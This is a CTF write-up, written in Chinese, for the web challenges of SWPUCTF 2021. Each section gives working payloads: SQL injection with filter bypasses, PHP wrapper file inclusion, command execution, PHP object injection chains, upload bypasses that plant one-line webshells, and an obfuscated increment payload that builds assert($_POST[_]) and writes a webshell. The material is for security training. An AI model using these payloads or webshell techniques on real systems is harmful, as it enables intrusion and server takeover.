SWPUCTF 2021 新生赛-WEB部分wp

目录

gift_F12

jicao

easy_md5

easy_sql

include

easyrce

Do_you_know_http

ez_unserialize

easyupload1.0

easyupload2.0

easyupload3.0

no_wakeup

PseudoProtocols

error

hardrce

pop

sql

finalrce

hardrce_3

---

gift_F12

查看源代码即可

jicao

源代码：

 json绕过主要思路还是弱类型绕过

在两个等号时会转化成同一类型再进行比较，直接构造一个0就可以相等了

 payload：

GET:
?json={"x":0}
POST:
id=wllmNB

easy_md5

源代码：

MD5的弱类型比较

payload：

GET:
?name=240610708

POST:
password=QLTHNDT

easy_sql

杰哥，彻底疯狂！！！

看一下源代码

发现title有点不对劲

先查看一下字段列数

?wllm=-1' order by 3--+
?wllm=-1' order by 4--+

查看回显

?wllm=-1' union select 1,2,3--+

查看数据库名

?wllm=-1' union select 1,2,database()--+

 查看表名

?wllm=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'test_db' ),3 --+

查看对应表的列名

?wllm=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'test_db' and table_name='test_tb' ),3 --+

查看flag

?wllm=-1' union select 1,(select group_concat(concat_ws(0x7e,flag))from test_tb),3 --+

include

那就传一个

文件包含

payload：

?file=php://filter/convert.base64-encode/resource=flag.php

base64解密

easyrce

浅试一下

?url=system('ls /');

?url=system('cat /f*');

Do_you_know_http

有点懵，抓个包试试

将User-Agent修改为WLLM，得到地址a.php,访问一下

 修改X-Forwarded-For: 127.0.0.1即可

ez_unserialize

woc，原（可惜我已经有胡桃了）

源代码：

 admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?> 

payload：

admin ="admin";
        $this->passwd = "ctf";
    }
}
$a=new wllm();
$b=serialize($a);
echo $b;
?> 

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} 

easyupload1.0

抓包

修改Content-Type

连接蚁剑 

 蚁剑上面的答案有点问题

这里我们直接post传参读phpinfo找flag

easyupload2.0

提交一句话木马

修改Content-Type和php后缀为phtml绕过

 蚁剑连接（别忘把是upload）

 拿到flag

easyupload3.0

先传一个.htaccess

SetHandler application/x-httpd-php

修改Content-Type

 然后在将一句话木马的php后缀改为jpg上传

a.jpg

GIF89a

post传参1=phpinfo(); 

拿到flag

no_wakeup

woc，又是原

 

与前文中ez_unserialize方法相似，不过这里要绕过_wakeup()

修改反序列化串的对象属性个数（一般大于原个数），绕过wakeup函数

payload：

admin ="admin";
            $this->passwd ="wllm";
        }
}
$a=new HaHaHa();
$b=serialize($a);
$b = str_replace(':2:', ':3:',$b); 
echo $b;  
?>

?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";} 

PseudoProtocols

文件包含

base64解密

 

payload：

?a=data://text/plain;base64,SSB3YW50IGZsYWc=
SSB3YW50IGZsYWc=是I want flag的base64编码

error

爆破数据库

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

爆破数据表

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test_db'),0x7e),1) #

 爆破列

1' and updatexml(1,concat(0x7e,substr((select flag from test_tb),1,31),0x7e),1)--+
1' and updatexml(1,concat(0x7e,substr((select flag from test_tb),20,50),0x7e),1)--+

很奇怪得抓包才能flag，两个结合即是flag

hardrce

取反过滤：取反过滤是先将命令取反，然后对其进行url编码最后在上传时再一次进行取反。

取反过滤可以绕过preg_match()过滤的所有字符和数字。

取反脚本

echo urlencode(~'取反内容');
?> 

获取取反结果后在url注入栏输入

(~取反结果1)(~取反结果2); 

这段代码中正则过滤了所有字母和一些符号，但‘~’未被过滤。我们可以用取反过滤的方法来查看文件。首先我们要使用命令system(ls /)查看目录

我们对system 和 (ls /) 发别取反

payload：

?wllm=(~%8C%86%8C%8B%9A%92)(~%D7%93%8C%DF%D0%D6);

system和(cat /flllllaaaaaaggggggg)

payload：

?wllm=(~%8C%86%8C%8B%9A%92)(~%D7%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98%D6);

pop

反序列化

源代码：

admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

 payload：

w33m.__toString().w00m->w44m.Getflag()
$a = new w22m();
$b = new w33m();
$c = new w44m();
# 入口
$a->w00m=$b;
# 链子
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));#用url编码是因为protected类的变量有不可见字符
?>
 

?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D 

sql

 看起来跟上文中easy_sql相似

先试一试

好吧不一样，不能偷懒，我们重新开始

 这里借鉴[SWPUCTF 2021 新生赛]sql_ha0cker的博客-CSDN博客​​​​​​

因为实在没有思路了

过滤了

update
AND
DELETE
UPDATE
insert
updatexml
length 
delete
right
extractvalue
REVERSE
sys schemma
+
=
--+
left
handler
substring
rand()
LEFT
anandd
OUTFILE
INTO
'1'='1'

发现=和空格都被过滤了

于是有payload：

爆破字段（用%23代替#,/**/代替空格）

?wllm=-1'/**/order/**/by/**/4%23

爆破数据库

?wllm=-1'/**/union/**/select/**/1,database(),3%23

 爆破数据表（用like代替=）

?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'),3%23

 爆破列名

?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'),3%23

爆破flag

?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(concat_ws(0x7e,flag))from/**/LTLT_flag),3%23

字段的输出长度被限制，要截取字符串。

而left，right，substr，reverse关键字被过滤，可用mid。

?wllm=-1'/**/union/**/select/**/1,mid(flag,10,40),3/**/from/**/LTLT_flag%23

?wllm=-1'/**/union/**/select/**/1,mid(flag,25,50),3/**/from/**/LTLT_flag%23

 把flag拼接即可

finalrce

源代码：

 |\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
} 

过滤了一堆东西

没有思路了，看了看大佬们的wp

这里用到的是linux里的tee命令，构造payload，由于ls正则表达被过滤，所以我们还需要绕过preg_match

?url=l\s / | tee 1.txt

tee命令
这里只写在本题中用到的方法

tee的功能是从标准输入读取，再写入标准输出和文件。

用法：tee [OPTION]… [FILE]…

然后就是访问flag

?url=tac /flllll\aaaaaaggggggg | tee 2.txt

拿到flag

?file=php://filter/convert.base64-encode/resource=flag.php

payload：

?file=php://filter/read=convert.base64-encode/resource=flag

base64解码

hardrce_3

源代码：

与上道hard_rce相比，这道题不让使用~，|，^和空格了。

所以这个题用大佬们的自增。

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

这是固定格式构造出来的 assert($_POST[_]);

然后post传入 _=phpinfo();

使用时需要url编码.

%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B

phpinfo中没有找到flag

发现system,exec,shell_exec,popen,proc_open,passthru被禁用 .

但是可以用file_put_contents(,)

file_put_contents函数 第一个参数是文件名，第二个参数是内容。

所以 构造:

 _=file_put_contents("1.php","");

传入一句话木马（$前面要加一个\号转义）

然后访问/1.php，密码1蚁剑连接。